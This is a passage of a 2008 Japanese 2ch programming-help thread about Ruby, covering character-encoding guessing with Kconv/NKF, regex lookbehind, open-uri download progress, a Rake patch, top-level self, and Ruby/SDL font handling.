734 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 18:25:44 ] net/http のどのへんがダメなのか教えてくれると代替案があるかも
735 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 18:29:23 ] 自己解決した! WWW::Mechanize というのを発見しました。 お騒がせしました。ありがとうございました。 > net/http んーなんていうか、httpを意識しないといけない、低レイヤーっぽい感じがします。 hpricot使ったら他に移れないくらい便利だったので、 似たような高レベルなラッパーがないかな、と。
736 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 18:32:55 ] require 'rubygems' しなければならないのがどうにもなあ いや、贅沢なこと言ってる自覚はあるが >>735 WWW::Mechanizeが利用できる環境なのならそれ使うといいぞ
737 名前:735 mailto:sage [2008/02/09(土) 19:00:00 ] 環境変数RUBYOPT を -rubygems にしておくとgem関連は楽っすよ
738 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 19:50:45 ] >>737 は問題を理解してないと思った
739 名前:735 mailto:sage [2008/02/09(土) 21:18:13 ] あ、ええと、レンサバとかRubyGemsをインスコできない環境とかの話かな? それなら失礼しますた
740 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 21:48:52 ] 本家のヘルプ以外のライブラリなどのドキュメントを見ようと、 コマンドラインのドキュメントヘルプを試したのですが、いまいちどれがどうなのかわかりません。 ri:標準。英語ドキュメント。サンプルソースなどもしっかり refe:gem install refeで入る。日本語ドキュメント。全然少ない。メソッド名の部分一致検索ができる。 rdoc:標準。エラーでて動かず riは、詳細が載っていてわかりやすいのですが、 検索しずらい・・・ refeみたいに、部分一致だったらいいのに
741 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 22:18:25 ] gemしかないならともかく、tar玉あるんだから $HOMEでもどこでもすきなようにインストールすればいいじゃん。
742 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 22:38:10 ] >>740 > rdoc:標準。エラーでて動かず rdocはriのデータを作るコマンド。
743 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 22:51:39 ] >>724 なにそのめちゃくちゃ端折った説明 現状は「英語でいいならri、日本語がいいならReFe」という住み分けになっとる ReFeの内容がヘナチョコなのは日本語マニュアルがヘナチョコだからだな むしろ俺はRDocとかRDとかのマニュアル用書式がわからん 何のときに == で書くのかとかさっぱりだ
744 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 22:57:07 ] あれだ、もうちょっとMatzがユーザ愛を持って、マニュアルに全身全霊を 傾ければ、Rubyはもっと愛されると思う。願望だけど。 「そんなの面白くない」とか「Matzは開発を優先すべきで、他の人が やったほうがいい」という反論は重々承知だが。
745 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 23:00:05 ] 優秀な言語開発者が優秀な初心者向けマニュアルを記述できるとは限らないのは 例の分厚くて黄色くて背が硬い本で痛いほどわかっただろうに
746 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 23:02:37 ] >>745 いやでもな、とてつもなく優れたオープンソース開発者が、とてつもなく 優秀なドキュメントを提供する人間である例が目の前にあるとさ。 すごい!と思ってしまうのよね。Vimの開発者のことだけど。
747 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 23:03:35 ] 日本語マニュアルがイマイチなのの原因は何なのよ 今のRubyユーザー数ならWikiシステムあたりを使って一斉に取り掛かれば 1年くらいで今の倍くらいのボリュームにならんかね
748 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 23:05:30 ] >>747 RDだかRDocだかで記述しないと取り込めないからRDだかRDocだかで書いてね、というのがかなり壁 PukiWiki互換で書いていいよと言われたら一気に進みそうな気がする
749 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 23:09:04 ] まぁMatzはEmacs信者で、Bramのことなんかよく知らないだろうけど。
750 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 23:24:35 ] マニュアル内容の改定に関しては計画はあるんだし参加しようよ doc.loveruby.net/
751 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 02:39:04 ] 例のデイトレ男に一億くらい恵んでもらってフルタイムのドキュメント書きを雇えばいいんだよ
752 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 02:57:58 ] なんで、ここで B・N・Fこと小手っちゃんがww
753 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 04:51:26 ] いやもうmatzは開発しなくて良いよ。 MLのやり取り見てると、正直もう1.8+αで良いと思うし。
754 名前:デフォルトの名無しさん [2008/02/10(日) 05:15:38 ] >>741-743 ありがとう マニュアル用のコマンドとして使えるのは ri と refe なのね。 gemsに fxri っつーri GUIフロントエンドがあったから入れたら、まだ使いものにならなかった orz ・起動が遅い ・riのエントリーの読み込みに20分近くかかる(全部よんでると20000エントリくらいになる) ・全部読みこまないと、検索できないw ・検索中に、カラムをクリックすると落ちたwwww ・読み込んだ データ をキャッシュしないので、次回起動時もまた20分かか(ry 読み込んだ後は、リアルタイムに部分一致検索できるし、 irbが立ち上がっててすぐ試せるので、すごく理想的! いいのにもったいない!! そして今気づいたのですが、rubyのdocディレクトリに Programming Ruby のHTMLヘルプがついているんですね。 英語だけど、サンプルコードはあるし、入門にはよいですね。
755 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 11:15:30 ] ドキュメントは文句だけいって手を動かさない人が多いから進まない
756 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 11:33:43 ] >>755 >>750 読め
757 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 11:40:12 ] オフィシャルにする気マンマンなとこが敷居高いのは仕方あんめえ 変なのが混じりにくいわけでむしろそれ自体は頼もしいとも思うぞ この調子だといつ完成するのかわからんのが難だが
758 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 11:53:10 ] 19株売れよwwww
759 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 19:08:04 ] >>743 自作のクラスのマニュアルとか作れたらRRSEで楽だろうなと思うんだけどね メソッドにカーソルが当たったらEmacs下部のミニバッファに1行マニュアル表示
760 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 19:36:18 ] 特に意味のないサンプルコードなんだけど、 require "Kconv" puts "隕".toutf8.tosjis とかするとなんも表示されなかったりするんだけどなんでだ? ruby 1.8.6 (2007-09-24 patchlevel 111) [i386-mswin32]に標準添付のヤツ
761 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 20:23:41 ] >>760 puts "隕".toutf8 の時点で空文字列が返っているのなら kconv が文字コードの判定に失敗してる。
762 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 20:32:17 ] require "Kconv" require 'nkf' p "隕".toutf8 p "隕".kconv(Kconv::UTF8,Kconv::SJIS) p NKF.nkf('-Sw',"隕") # 結果 "\356\242\246" # 誤り "\351\232\225" # 正しい "\351\232\225" # 正しい
763 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 22:44:27 ] 漢字一文字なんて、どうやってエンコーディングを判別するというのだ(w
764 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 23:40:14 ] Rubyの正規表現で前方不一致(否定後読み?)を指定するにはどう書けばよいでしょうか? 秀丸やEmEditorにおける(?<!pattern)です。 具体的にしたいことは、"B"の前に"A"が来ないときだけ "A"の前に"_"を加えるという処理を行いたいのです。 CB #=> C_B AB #=> AB
765 名前:デフォルトの名無しさん mailto:sage [2008/02/10(日) 23:54:13 ] 1.8: string.gsub(/(\A|[^A])B/, '\1_B') 1.9: string.gsub(/(?<!A)B/, '_B')
766 名前:764 mailto:sage [2008/02/10(日) 23:54:36 ] 訂正 × "A"の前に"_"を ○ "B"の前に"_"を
767 名前:デフォルトの名無しさん mailto:sage [2008/02/11(月) 00:03:08 ] >>763 勘 あるいは 運
768 名前:764 mailto:sage [2008/02/11(月) 00:03:10 ] >>765 すみません。間違いに気づいて訂正を書いている間にレスをいただいたようです。 ありがとうございました。 1.9では実装されているのですね。
769 名前:デフォルトの名無しさん mailto:sage [2008/02/11(月) 05:02:35 ] >>762 把握した >>763 いや、"隕"が入ってるときにおかしくなるなぁつー話だったさサンプル悪かったごめん
770 名前:デフォルトの名無しさん mailto:sage [2008/02/11(月) 07:15:07 ] シフトJISの半角カタカナ偶数個かEUCか、は同じバイト列だったりするから、 エンコーディングは可能な限り明示的にすべきと思うけどね。
771 名前:デフォルトの名無しさん mailto:sage [2008/02/11(月) 09:27:46 ] toutf8とかtoeucとかtosjisみたいなのは、本当は「selfを○○に変換する」という動作じゃないんだよな 「selfのエンコーディングが△△だと推測した上で○○に変換する」という動作をしてる だから、△△であろうという部分の推測がコケると変な文字列になる 元の文字列のエンコーディングは指定しておくべき 10文字くらい余分に書かないといけないが、そのほうが動作も確実に速い
772 名前:デフォルトの名無しさん mailto:sage [2008/02/11(月) 11:54:23 ] >>759 検索できるマニュアルって自分で追加して作れるの?
773 名前:デフォルトの名無しさん mailto:sage [2008/02/11(月) 12:12:22 ] 無理なんじゃない? いや、やってやれなくはなさそうだけど
774 名前:デフォルトの名無しさん [2008/02/11(月) 21:27:24 ] >>771 テキストエディタでも、全角文字少ないと誤認するのと一緒だよなあ
775 名前:655 mailto:sage [2008/02/11(月) 22:46:06 ] >>719 Amrita使ってる人って少ないのかな(´・ω・`) >>723 なるほど、そう書くんですね! …ということは tr の属性値を項目ごとに変えるのはできないわけですよね、、 amrita-altered を試してみることにします
776 名前:デフォルトの名無しさん [2008/02/12(火) 00:47:19 ] 常にUTF8として ENV['PATH_INFO']を受け取りたいのですが うまい方法はないでしょうか? 下のコードで大体はうまくいくのですが 例にあげてるように短めのカタカナは判別、変換に失敗してしまいます $KCODE="UTF8" require "cgi" require 'nkf' class String def to_utf8 NKF::UTF8 != NKF::guess(self) ? NKF::nkf("-w", self) : self end end print "Content-type:text/html;charset=utf-8\n\n" print ENV['PATH_INFO'].to_utf8 #アテレコ NG #アテレコテ OK #アテレコア NG #アレコテ OK #テレアコ NG
777 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 00:52:23 ] % time python -c 'range(0,10000000).sort' 0.769u 1.022s 0:01.79 99.4% 0+0k 0+0io 0pf+0w % time ruby -e '(0...10000000).sort' 3.170u 0.259s 0:03.42 100.0% 0+0k 0+0io 0pf+0w
778 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 01:13:47 ] >>776 「UTF8以外で送ってきたら頃す」とCGIを使うページのトップに朱書きする
779 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 01:31:27 ] >>777 そのコード違うぞ ボトルネックはこれだ $ time ruby -e '(0...1000000).to_a' real 0m2.535s user 0m2.040s sys 0m0.490s Range#to_aは内部的には以下と似たようなことをしてて、 数値が大きくなるとこれが非常に遅い arr = Array.new range.each do |i| arr.push(i) end return arr
780 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 01:44:25 ] >>778 が最善策 「9 27 45 81」は3の倍数でしょうか9の倍数でしょうか? という問いに近い これは「6」や「3」や「321」が含まれない限り同定できない
781 名前:776 mailto:sage [2008/02/12(火) 02:01:17 ] >>778 >>780 無理なもんなんですか…。 wikiとかで似たような処理をしてるかと思ってたんですが 基本的に違う処理なんですね。 >>778 の方法だと法律上ややこちらが不利な気がするので guessで判断できないときは別の処理にまわすことにします
782 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 02:08:50 ] >>781 Webブラウザ経由の場合はUserAgentを見るという手も… UTF-8なページからPOSTさせるとか
783 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 02:16:44 ] Ruby/SDLでWindows向けゲーム作ろうと思うんですが Windows標準フォントを引っ張るのってどうやればいいでしょう? 例えばTTFフォント指定で"MS ゴシック"と指定すると、 どのコンピュータでも一意にMSゴシックを引っ張るという事です
784 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 02:27:26 ] ダミーで既知な文字列をhideen-inputなフィールドに埋め込んでおいて、 そいつがどういうバイナリになってるかを調べる手があったはず。
785 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 02:37:26 ] >>784 おーちょっと感動した 覚えとこ >>783 全く使ったこともなければ実行環境もないが > font = SDL::TTF.open('sample.tff', 24) という表記方法から考えて、どうしかして%WINDIR%\Fonts\msgothic.ttcにアクセスすればいいんじゃね とここまで書いてTTCじゃダメだろと思った TTCはTTFのカタマリだけど、TTFしか読めませんというやつはTTCは普通読めない Ruby/SDLには「いくつか埋め込み用フォントがあるようだけど、それでは用足りない?
786 名前:デフォルトの名無しさん [2008/02/12(火) 04:26:23 ] Miyakoが、MSゴシックとかメイリオに対応してた Miyakoのソースでも見たらどうかな?
787 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 08:37:53 ] >>783 ttp://www.kmc.gr.jp/~ohai/fontlist_rb.html ちなみにTTCは、Ruby/SDLのリファレンスでは読めることになっているが 俺の手元で試した限りでは成功しなかった Miyakoではどうやってるんだろう……
788 名前:デフォルトの名無しさん [2008/02/12(火) 16:28:42 ] コード生成機能を持たないフレームワークプリーズ
789 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 17:51:40 ] Webサーバ上の巨大ファイルをダウンロードしたいんですが、 ダウンロード状況を「30%」など表示するにはどうしたらいいですか? TCPSocket#readで数バイトずつチマチマ取得するしかないでしょうか?
790 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:00:13 ] 数バイト単位はアホすぎます
791 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:04:00 ] #readの引数に合わせただけです
792 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:05:13 ] >>789 ttp://0xcc.net/ruby-progressbar/ あとはopen-uriでopenするときに :content_length_proc で 最初のサイズ設定 :progress_proc で進捗伝達 をさせるようにすればいい
793 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:17:14 ] require 'open-uri' uri = URI.parse('gems.rubyforge.org/yaml ') total = 0 count = (0..100).to_a open(uri, :content_length_proc => lambda {|n| total = n; puts "#{n}バイトいきます"}, :progress_proc => lambda {|n| pc = (n.to_f/total*100).to_i if pc == count.first then puts "#{pc}%終了" count.shift end }).read # ===================================== $ ruby ./progress.rb 16047764バイトいきます 0%終了 1%終了 2%終了 3%終了
794 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:48:25 ] メソッドの引数にハッシュを取りたいです。 とり得るキーが多めにあった場合とか、うまく処理する方法ってありますか? キーは1個の場合も4個の場合もあり、複数のキーが互いに必須なこともあります。
795 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:53:08 ] >>792-793 なるほどこりゃ便利ですね open-uriのライブラリを掘り下げてみましたら なるほどキモになってる部分は Net::HTTPResponse#read_body {|str| .... } ですね ありがとうございました
796 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 18:55:43 ] うまく処理する方法とは? まず、まずい処理がどんなものか説明してもらおうか。
797 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 19:00:04 ] >>794 素直にやるとこうだと思うぞ def hoge(h) case h when h.has_key?(:param1) ... when h.has_key?(:param2) && h.has_key?(:param3) ... else raise "引数が不正です" end end :param1と:param2は背反でないと処理上困るのになぜか同時に指定されてる、 とかいうエラーへの対処は無視しろめんどくさくなるから 「同時に指定したら死刑」とかいう立て札でも立てとけ
798 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 19:01:42 ] >>794 質問の意味が良く分からないが・・・ >キーは1個の場合も4個の場合もあり、 case hash.size when 0 when 1 ・・・ >複数のキーが互いに必須なこともあります。 if hash.key?(foo) && hash.key?(bar) こんな感じじゃないか?
799 名前:デフォルトの名無しさん [2008/02/12(火) 21:35:04 ] >>792-793 open-uriってお手軽なだけかと思ったら、意外に融通利いてびっくりだ
800 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 22:13:34 ] もう見てないかもしれないが >>310 >>316 今北なので、亀レスで申し訳ない nowrite(true)、verbose(true) メソッドを使えばそれ以降 :noop=>true、:verbose=>true がデフォルトで設定される…はずなのだが Rakeのバグでshとruby以外のメソッドに適用されない つづく
801 名前:800 mailto:sage [2008/02/12(火) 22:15:10 ] 修正するには rake.rb に以下のパッチを当てればおk Index: rake.rb =================================================================== --- rake.rb (revision 639) +++ rake.rb (working copy) @@ -871,8 +871,8 @@ module FileUtils RUBY = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']) - OPT_TABLE['sh'] = %w(noop verbose) - OPT_TABLE['ruby'] = %w(noop verbose) + OPT_TABLE['sh'] = [:noop, :verbose] + OPT_TABLE['ruby'] = [:noop, :verbose] # Run the system command +cmd+. If multiple arguments are given the command # is not run with the shell (same semantics as Kernel::exec and @@ -970,10 +970,10 @@ FileUtils::OPT_TABLE.each do |name, opts| default_options = [] - if opts.include?('verbose') + if opts.include?(:verbose) default_options << ':verbose => RakeFileUtils.verbose_flag' end - if opts.include?('noop') + if opts.include?(:noop) default_options << ':noop => RakeFileUtils.nowrite_flag' end
802 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 22:28:06 ] 既出でしたらすみません。トップレベルのインスタンス変数、selfについて質 問です。 クラス・モジュール定義内ではインスタンスメソッドの外に定義したインスタ ンス変数はクラスオブジェクト(Klass)のインスタンス変数になり、インスタン スメソッドとはselfが異なるのでアクセスできません。 class Klass @a = 1 <-- def foo \ @a <-----+-- 別物(selfが異なる) end end Klass.new.foo => nil しかし、トップレベルで定義したインスタンス変数はトップレベルで定義した メソッドからselfが同一なのでアクセスすることができます。 @a = 1 <-- def foo \ @a <-----+-- 同一(selfが一緒) end foo => 1 なぜトップレベルではメソッド定義内のselfとメソッド定義の外のselfが同一 になるのでしょうか。 rubyインタプリタが起動時に Object.new.instance_eval { *ここがトップレベル* } のようにしてトップレベルを作っていると解釈すればよいのでしょうか。
803 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 22:39:00 ] $ cat top.rb p self def hoge p self end hoge p self.class $ ruby top.rb main main Object
804 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 23:07:32 ] >>803 さん、ありがとうございます。 トップレベルのselfはObjectのインスタンスで評価するとmainというものが返っ てくるというのは理解できるのですが、トップレベルがどのようにして作られ てselfが設定されているのかがわかりません。 あと、なぜトップレベルのselfはmainという表記で#<Object:0x294dc>みたいな 表記にならないのでしょうか。 そういう言語仕様なのでしょうか...
805 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 23:24:52 ] >>804 トップレベルをオブジェクト指向として悩むのはあまりよくないぞ ttp://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-list/8965 まあ、Module#privateされたでっかいObjectクラスの中身だと考えられなくもないけど
806 名前:デフォルトの名無しさん mailto:sage [2008/02/12(火) 23:39:52 ] "main"と返るのはそう定義されてるから。(object.c) RubyのCソースは一部の例外を別にすれば見やすいから追いかけてみるとよい。
807 名前:804 mailto:sage [2008/02/12(火) 23:58:30 ] >>805 さん、>>806 さんありがとうごぜいます。 >>805 さん bladeのスレッド読んでみました。確かにEiffelやJavaよりもいきなり制御を書 けてしまうrubyのほうがありがたい気がします。 そういえば質問する前にbladeでnamazu検索してみたのですが、結果のリストが 表示されませんでした。壊れているんでしょうか? >>806 さん そうですね。rb_internあたりで萎えてしまうのですが。頑張って読んでみます。
808 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 00:01:03 ] あ、それ俺も気づいた。bladeの検索は死んでる。 今じゃgoogle site:使ってるなあ
809 名前:804 mailto:sage [2008/02/13(水) 00:24:48 ] そうかgoogle site:を使えばよかったのかー。頭悪いな > オレ >>806 さん、ソース読んでみました。 main_to_s rb_define_singleton_method(ruby_top_self, "to_s", main_to_s, 0); 拍子抜けしました。Init_Objectあたりをもっと深く読んでみようと思います。 ありがとうございました。
810 名前:783 mailto:sage [2008/02/13(水) 02:49:21 ] レスくれた方有難うございました。 確かにttcは読み込めなかったので Miyako入れる方向で探っていく事にします それにしてもruby/SDLの文字表示がこんなに弱いとは…
811 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 04:33:24 ] >>779 釣られてるよ。 >>777 のpythonのコードは、sortに()が付いてないから実際にはソートしてない。
812 名前:デフォルトの名無しさん [2008/02/13(水) 07:53:37 ] $ irb irb(main):001:0> l=[100,101,102,103,104,105,106,107,108,109] => [100, 101, 102, 103, 104, 105, 106, 107, 108, 109] irb(main):002:0> l.each_with_index do |item,idx| irb(main):003:1* puts "hit #{item}" irb(main):004:1> l.delete_at idx if 0==item%2 irb(main):005:1> end hit 100 hit 102 hit 104 hit 106 hit 108 => [101, 103, 105, 107, 109] irb(main):006:0> 意図したとおり奇数だけ残せたのですがhitの表示がなぜ偶数だけになっているか分かりません delete_atするより前でputs "hit #{item}"してるので全要素がputsされると思ったのですが。。。
813 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 08:07:34 ] 消す度にずれてるから p l とか puts "hit #{item} at #{idx}" にして見れば分かる delete_ifを使えばいいよ
814 名前:812 mailto:sage [2008/02/13(水) 08:28:52 ] 理解できました ありがとうございます delete_if使ってみます
815 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 09:05:53 ] >>811 python -c 'range(0,10000000).sort' real 0.0859320 user 0.0468750 sys 0.0312500 python -c 'range(0,10000000).sort()' real 0.0771435 user 0.0312500 sys 0.0468750 >>779 ruby -e '(0...10000000).sort' real 2.1707595 user 1.6875000 sys 0.1406250 ruby -e '(0...1000000).to_a real 0.3525165 user 0.2500000 sys0.0937500
816 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 09:10:38 ] 桁が違うとか紛らわしい ruby -e '(0...10000000).to_a real 1.6034130 user 1.4531250 sys 0.1406250
817 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 10:14:36 ] 10000000 を 10_000_000 とか 1000_0000 とか書けることは意外と知られてないし使われてないな irb> p 10_000_000 10000000
818 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 10:41:43 ] >>810 でもMiyakoでは特に変なことしてないみたいだぞ? api/font.rb を「TTF」で検索してみ
819 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 14:09:52 ] Pythonのマージソートは部分整列を利用してほげほげとかクックブックに書いてあったから range(0,10000000).sort() のソートにほとんど時間がかからないはず。 (参考:svn.python.org/view/*checkout*/python/trunk/Objects/listsort.txt ) Rubyはどうなのよ
820 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 15:29:39 ] マージソートなのか。 rubyはクイックソートだから、整列済みのものには不利だな。
821 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 15:34:42 ] >>820 それもあるけど、1.9だとシステム提供のqsortでなく割と高速なqsort実装を使っているので、その例だとPythonとほぼ互角の速度になる。
822 名前:デフォルトの名無しさん [2008/02/13(水) 18:19:53 ] "ID;本文"という形式のcsvファイルを読み込み、 本文だけを文節単位でわかち書き(半角スペースを挿入する)して 返すスクリプトを書きたいと思っています。 そのため、RubyからCaboChaにテキストを渡して処理しようと CaboCha0.53をインストールしたのですが、 肝心のCaboChaの呼び出し方がさっぱりわかりません。 CaboCha公式サイト(chasen.org/~taku/software/cabocha/libcabocha.html ) には「詳しくは, ruby/README…をご覧ください.」と書いてあるのですが そのruby/READMEがCaboChaインストールフォルダ内に見つからず… どなたか、インストール方法とRubyからの呼び出し方を 教えていただけますでしょうか。 ●実行環境 WindowsXP SP2 ruby 1.8.6 (2007-09-24 patchlevel 111) [i386-mswin32] ※One-Click Installer - Windows 1.8.6-26 Final Release 使用 CaboCha 0.53(Binary package for MS-Windows)
823 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 19:18:25 ] >>822 CaboCha というのは全く使ったことがないけど、 そのページから落せるソース cabocha-0.53.tar.gz には ruby/README は入ってたよ。 中を読むとさらに test.rb を読めとあって、test.rb 内には コメントとかまったく書いてないんだけど、まあその辺は C ライブラリの 方を見て予想しろってことなんじゃないかと。 あ、Windows での tar.gz の伸長には適当になんかフリーソフトを探してくれ。
824 名前:デフォルトの名無しさん [2008/02/13(水) 20:44:51 ] Cgi = CGI.new ip = ENV['REMOTE_ADDR'] host = '' begin host = Socket.gethostbyname(ip)[0] rescue host = ip end Cgi.out{host} これでちゃんとリモホ名に変換出来る鯖と 出来ない鯖があるんですが、鯖の問題なんですよね?
825 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 20:52:30 ] rescueでエラー殺しておいてそういう質問するな SocketError: host not found が出るという話ならRubyのバージョンが悪いとかなんとかいうことになってた気がする エラー時にコマンドラインから外部コマンド使うとなんとかなるかも
826 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 21:08:44 ] >>825 すみません… 助言ありがとうございました!
827 名前:デフォルトの名無しさん mailto:sage [2008/02/13(水) 21:31:37 ] require 'cgi' require 'socket' cgi = CGI.new begin cgi.out{Socket.gethostbyname(ENV['REMOTE_ADDR'])[0]} rescue cgi.out{CGI.escapeHTML($!.inspect)} end う〜ん、こうやっても特に例外は出てない様です… 変換出来ない鯖のRubyのversionは1.8.5でした…
828 名前:783 mailto:sage [2008/02/14(木) 02:31:38 ] ruby/SDLの日本語表示の質問した者ですが IPAフォントというフリーのttfを見付けたので Miyakoを入れずとも日本語表示は出来ました ただ、新たな問題としてボールドとイタリックの書体設定が出てきました 見る限りSDLやMiyakoにそういう機能は無いようですし… そもそもこういう書体設定はどういう理屈でやってるんでしょうか
829 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 02:35:27 ] >>827 とりあえず何かのファイルにENV全体を書き出してみたら? CLIENT_IPとかX_FORWARDED_FORとかVIAとかなら取れるかもしれない。
830 名前:828 mailto:sage [2008/02/14(木) 02:41:52 ] >>828 自己解決しました 思いっきりスタイルの設定部分見落としてたわ… 失礼しました
831 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 07:29:33 ] 正規表現でこういうのは無理? p "X(1)((2)Y)Z".gsub(/\([0-90-9]+\)/g, '') やりたいこと ・(1)(2)を両方取り除く わからんこと ・gオプションって無い? ・全角0-9の指定は無理? ※cygwin版ruby
832 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 07:30:27 ] ↑全角がまじっちゃったけど、( )は全て半角
833 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 07:36:47 ] jcodeかなんかrequreする必要があったような無かったような・・・ gオプションってマッチを1回で止めない、ってperlのおぷそんだったけ? それならデフォルトでそうなんじゃなかったっけか。
834 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 07:37:15 ] sub gsub
835 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 07:47:34 ] さんくす >>833 jcodeじゃgsubないっぽい [0123456789]て書かないと駄目くさい >>834 そうだった、gは必要ないな
836 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 10:51:43 ] >>831 jcodeをrequireして、 str.tr("0-9", "0-9").gsub(...) ただ他の関係ない全角数字も巻き込まれる :-)
837 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 11:00:58 ] >823 ありがとう。 結局、rubyバインディングをインストールするには Win用のCaboChaバイナリのほかに UNIX用のCaboChaとSWIGを落としてきて自分でmakefileしないと いけないようですね。
838 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 11:20:26 ] 全くカボチャやらメカブやらチャセンやら・・・ ズイキはないのっ!?
839 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 11:40:53 ] >>831 半角開きカッコ・半角または全角数字・半角閉じカッコ の並びを消去したいなら、正規表現はそれで問題ないぞ (たしかにgオプションは存在しないのでつけたら駄目だが) もし動作しないというなら、それは単に文字コード指定の問題だろう 対象文字列がShift_JISやらCP932やらならsを、日本語EUCならeつけろ irb> p "X(1)((2)Y)Z(3)45".gsub(/\([0-90-9]+\)/e, '') "X(Y)Z45"
840 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 14:16:13 ] >>839 確認してみたら通ったよ。 何が悪かったかといえば、コマンドラインで-Kオプションつけずに ネイティブでないエンコード使ってたからぽい だからコンパイル時にエラーになってた。
841 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 15:26:24 ] Rubinius で、Ruby にインクリメント演算子モドキを実装 - sumim’s smalltalking-tos ttp://d.hatena.ne.jp/sumim/20080214/p1 …バイトコードを探して加算するという力技
842 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 16:26:06 ] コンテキストがべたべたに見えてるのか、 Rubyはなぜかそれをやらなかったんだよね、 フレームのオブジェクト化。
843 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 16:26:39 ] rubyは、か。
844 名前:デフォルトの名無しさん [2008/02/14(木) 16:54:11 ] >>843 matzは、か?
845 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 16:59:21 ] >>842 しないほうがいいんじゃね?>>841 なんてどうかんがえても力業だし
846 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 17:07:43 ] この手のイントロスペクションが可能だと、デバッガを強化できるんだがな。
847 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 17:15:38 ] ドコに力点を置くかだよね 特に悪影響がないのなら導入すればいいわけで
848 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 18:33:31 ] ruby/SDLの日本語表示の質問してた者です 何度も何度も済みません… ttfのフォントで半角英数文字列を出力すると 全角幅で出てしまうんですが、何か調整する機能は無いのでしょうか? 一応ゴリ押しすれば、 文字列を各文字に分割して文字幅取りつつ各個表示 という風に行けそうではありますが…
849 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 19:45:01 ] >>848 何を言ってるのかよく分からないのですが、とりあえず mono.kmc.gr.jp/proj/rubysdl/?Works にある作品で、該当しそうなことをやってるものの ソースを読んでみたらどうでしょうか。 高橋メソッドとか文字表示に特化してそうだし、 ソースをちょっと見てみた限りTTF使ってるみたいだし、 実行してみてないので想像ですが、半角/全角が 区別されずに表示されるという事もないんじゃないかなあと思います。
